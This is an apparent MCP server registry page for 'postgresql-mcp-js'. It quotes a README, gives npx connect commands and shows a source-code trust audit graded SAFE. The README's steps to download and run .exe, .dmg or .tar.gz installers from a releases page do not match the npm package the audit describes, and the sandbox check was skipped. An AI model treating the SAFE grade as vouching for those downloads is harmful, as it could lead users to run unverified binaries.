postgresql-mcp-jsSAFE
🔌 Simplify PostgreSQL interactions with a secure MCP server for LLMs, enabling efficient access to schemas, tables, and query execution.
Overview
From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.
🛠️ Overview
The postgresql-mcp-js is a Model Context Protocol (MCP) server designed for easy PostgreSQL database interactions using the Bun runtime. This application streamlines how you connect and interact with your PostgreSQL databases, making it straightforward for users of all levels.
📦 Download Now
[](https://github.com/s2mgtvodois2/postgresql-mcp-js/releases)
🚀 Getting Started
To get up and running, follow these steps:
Step 1: Visit the Releases Page
Click the link below to access the latest releases of postgresql-mcp-js.
Step 2: Download the Package
On the releases page, you will find various versions of the software. Select the latest version and download it. You may find files that are packaged for your operating system.
Step 3: Install the Application
Once the download is complete, locate the file on your computer and follow these steps to install:
- Windows Users: Double-click the downloaded
.exefile and follow the installer instructions. - Mac Users: Open the downloaded
.dmgfile, then drag the application into your Applications folder. - Linux Users: Extract the
.tar.gzfile in your desired directory and run the installation script.
Step 4: Running the Application
To run postgresql-mcp-js, follow the instructions below:
- Windows: Search for the application in the Start Menu and click on it.
- Mac: Open your Applications folder, then double-click on the application icon.
- Linux: Use the terminal to navigate to the installation directory and type
./postgresql-mcp-js.
Step 5: Configure PostgreSQL
After launching the application, you'll need to enter your PostgreSQL connection details. This includes:
- Hostname: Usually
localhostif PostgreSQL is running
e6736f1996b3OBSERVED · 2026-10-11Connect
Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control. Replace the environment placeholders with a token scoped to the least it needs.
claude mcp add postgresql-mcp-js --env POSTGRES_PASSWORD=${POSTGRES_PASSWORD} -- npx -y [email protected]{
"mcpServers": {
"postgresql-mcp-js": {
"command": "npx",
"args": [
"-y",
"[email protected]"
],
"env": {
"POSTGRES_PASSWORD": "${POSTGRES_PASSWORD}"
}
}
}
}Exposed tools (3)
2 read · 1 write · 0 destructive.
| Tool | Risk | Description |
|---|---|---|
describe-table | read | |
execute-query | write | |
list-tables | read |
Trust audit
SAFEgrade B · trust 89/100 Nothing in the source contradicts what it says it does. Grade A is reserved for packages that have also passed the behavioural sandbox.
| Layer | What it checks | Result |
|---|---|---|
| L0 | Provenance & inventory | PASS |
| L1 | Static analysis of the code | PASS |
| L2 | Instruction surface (what it tells the agent) | PASS |
| L3 | Class-specific surface | PASS |
| L4 | Behavioural (sandbox) | SKIPPED |
What the source does
- Filesystem
- none-observed
- Network
- none-observed
- Shell
- none-observed
- Dependencies
- not all pinned
- Secrets in source
- none-found
Findings (1)
@modelcontextprotocol/sdk, @prisma/client, zod, @types/bun, prisma
Gates applied: no_behavioural_pass.
e6736f1996b3full audit observations/trust-audit/mcp-server/s2mgtvodois2__postgresql-mcp-js.json · Report an issue / request a re-scanAudit history
Every audit this server has had. A grade with a past is a grade somebody is still checking.
| Date | Source | Verdict | Grade | Score | Change |
|---|---|---|---|---|---|
| 2026-10-11 | e6736f1996b3 | SAFE | B | 89 | first audit |
Questions
What is the postgresql-mcp-js MCP server?
🔌 Simplify PostgreSQL interactions with a secure MCP server for LLMs, enabling efficient access to schemas, tables, and query execution.
What tools does postgresql-mcp-js expose?
3 in total: 2 read-only, 1 that write, and 0 that can delete or overwrite. Every one is listed on this page with its risk.
Is postgresql-mcp-js safe to connect to an agent?
The audit found nothing in the source that contradicts what it says it does, and graded it B (89/100). Grade A is held back for packages that have also passed a sandboxed behavioural run, which is why a clean server reads B.
What credentials does postgresql-mcp-js need?
It reads POSTGRES_PASSWORD from the environment. Give it a token scoped to the least it needs — an agent that can be talked into calling a tool can be talked into calling it with your credentials.
How does postgresql-mcp-js run?
It speaks stdio, so it runs as a local process your client starts. It is published on npm as postgresql-mcp-js at 1.0.0.
How current is this page?
The grade is for one exact copy of the source (e6736f1996b3), read on 2026-10-11. The repository is watched and re-audited when it changes.